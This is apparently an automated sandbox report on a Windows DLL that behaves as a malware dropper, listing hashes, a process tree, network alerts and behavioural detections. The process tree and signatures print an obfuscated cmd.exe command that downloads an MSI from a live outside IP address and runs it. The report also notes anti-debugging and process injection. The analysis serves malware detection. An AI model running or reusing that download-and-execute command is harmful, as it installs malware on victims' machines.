Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Sept. 26, 2023, 1:32 p.m.	Sept. 26, 2023, 1:34 p.m.

Size	12.0KB
Type	PE32+ executable (DLL) (GUI) x86-64 (stripped to external PDB), for MS Windows
MD5	`dd77c8ada4a2591da5b34ff8b496f298`
SHA256	`7bf390a32e5d96bad15c59d77c6059fa208d2af44a52f701d819e0cb482f2d84`
CRC32	`EA883AD3`
ssdeep	`192:IU5z9i9veq2pJk+/qcJklyJOEt6F08TjsvGQwrgAhp:9z9SvWJH/IwJOU6F08UeQwrgC`
Yara	PE_Header_Zero - PE File Signature IsDLL - (no description) IsPE64 - (no description)

rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\ib.dll,hash
652
- rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\ib.dll,hash
  2388
rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\ib.dll,xlAutoOpen
2228
- rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\ib.dll,xlAutoOpen
  2412
  - cmd.exe c:\windows\system32\cmd.exe /c c^url -o c:\users\public\1.msi http://94.131.106.78/BcDx2y/OkJKB&&timeout 10&&c:\users\public\1.msi
    2556
    - curl.exe curl -o c:\users\public\1.msi http://94.131.106.78/BcDx2y/OkJKB
      2628
    - timeout.exe timeout 10
      2796
    - msiexec.exe "C:\Windows\System32\msiexec.exe" /i "C:\users\public\1.msi"
      2172
rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\ib.dll,reverseString
2136
- rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\ib.dll,reverseString
  2464
rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\ib.dll,
2320

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
94.131.106.78	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.103:49171 -> 94.131.106.78:80	2013028	ET POLICY curl User-Agent Outbound	Attempted Information Leak
TCP 192.168.56.103:49171 -> 94.131.106.78:80	2034567	ET HUNTING curl User-Agent to Dotted Quad	Potentially Bad Traffic

Suricata TLS

No Suricata TLS

Checks if process is being debugged by a debugger (4 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Sept. 26, 2023, 1:32 p.m.			0	0
IsDebuggerPresent Sept. 26, 2023, 1:32 p.m.			0	0
IsDebuggerPresent Sept. 26, 2023, 1:32 p.m.			0	0
IsDebuggerPresent Sept. 26, 2023, 1:25 p.m.			0	0

Command line console output was observed (2 events)

Time & API	Arguments	Status	Return	Repeated
WriteConsoleW Sept. 26, 2023, 1:32 p.m.	buffer: Waiting for 10 console_handle: 0x0000000000000007	1	1	0
WriteConsoleW Sept. 26, 2023, 1:32 p.m.	buffer: seconds, press a key to continue ... console_handle: 0x0000000000000007	1	1	0

One or more processes crashed (1 event)

Time & API	Arguments	Status	Return	Repeated
__exception__ Sept. 26, 2023, 1:32 p.m.	stacktrace: xlAutoOpen+0x1c10 ib+0x3000 @ 0x7fef5ee3000 rundll32+0x2f42 @ 0xff022f42 rundll32+0x3b7a @ 0xff023b7a BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x76fd652d RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x776ec521 exception.instruction_r: 30 40 ee f5 fe 07 00 00 00 00 00 00 00 00 00 00 exception.instruction: xor byte ptr [rax + 0xffffffffffffffee], al exception.exception_code: 0xc0000005 exception.symbol: xlAutoOpen+0x1c10 ib+0x3000 exception.address: 0x7fef5ee3000 registers.r14: 0 registers.r15: 0 registers.rcx: 196648 registers.rsi: 0 registers.r10: 0 registers.rbx: 0 registers.rsp: 2358096 registers.r11: 2357184 registers.r8: 3391788 registers.r9: 10 registers.rdx: 4278321152 registers.r12: 0 registers.rbp: 0 registers.rdi: 0 registers.rax: 196648 registers.r13: 0	1	0	0

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

Connection to IP address

suspicious_request

GET http://94.131.106.78/BcDx2y/OkJKB

Performs some HTTP requests (1 event)

request

GET http://94.131.106.78/BcDx2y/OkJKB

Allocates read-write-execute memory (usually to unpack itself) (8 events)

Time & API	Arguments	Status
NtProtectVirtualMemory Sept. 26, 2023, 1:25 p.m.	process_identifier: 2172 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefc791000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 26, 2023, 1:25 p.m.	process_identifier: 2172 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefc44f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 26, 2023, 1:25 p.m.	process_identifier: 2172 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef7c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 26, 2023, 1:25 p.m.	process_identifier: 2172 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefc4db000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 26, 2023, 1:25 p.m.	process_identifier: 2172 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefbbdc000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 26, 2023, 1:25 p.m.	process_identifier: 2172 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefbbab000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 26, 2023, 1:25 p.m.	process_identifier: 2172 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefd5cd000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 26, 2023, 1:25 p.m.	process_identifier: 2172 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefbb8d000 process_handle: 0xffffffffffffffff	1

Creates a suspicious process (1 event)

cmdline

c:\windows\system32\cmd.exe /c c^url -o c:\users\public\1.msi http://94.131.106.78/BcDx2y/OkJKB&&timeout 10&&c:\users\public\1.msi

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Sept. 26, 2023, 1:25 p.m.	system_name: privilege_name: SeShutdownPrivilege	1	1	0

Yara rule detected in process memory (12 events)

description	Create a windows service	rule	Create_Service
description	Match Windows Http API call	rule	Str_Win32_Http_API
description	Escalate priviledges	rule	Escalate_priviledges
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Communicates with host for which no DNS query was performed (1 event)

host

94.131.106.78

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2556 resumed a thread in remote process 2172
NtResumeThread Sept. 26, 2023, 1:32 p.m.	thread_handle: 0x0000000000000204 suspend_count: 1 process_identifier: 2172	1	0	0

ib

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Suricata Alerts

Suricata TLS

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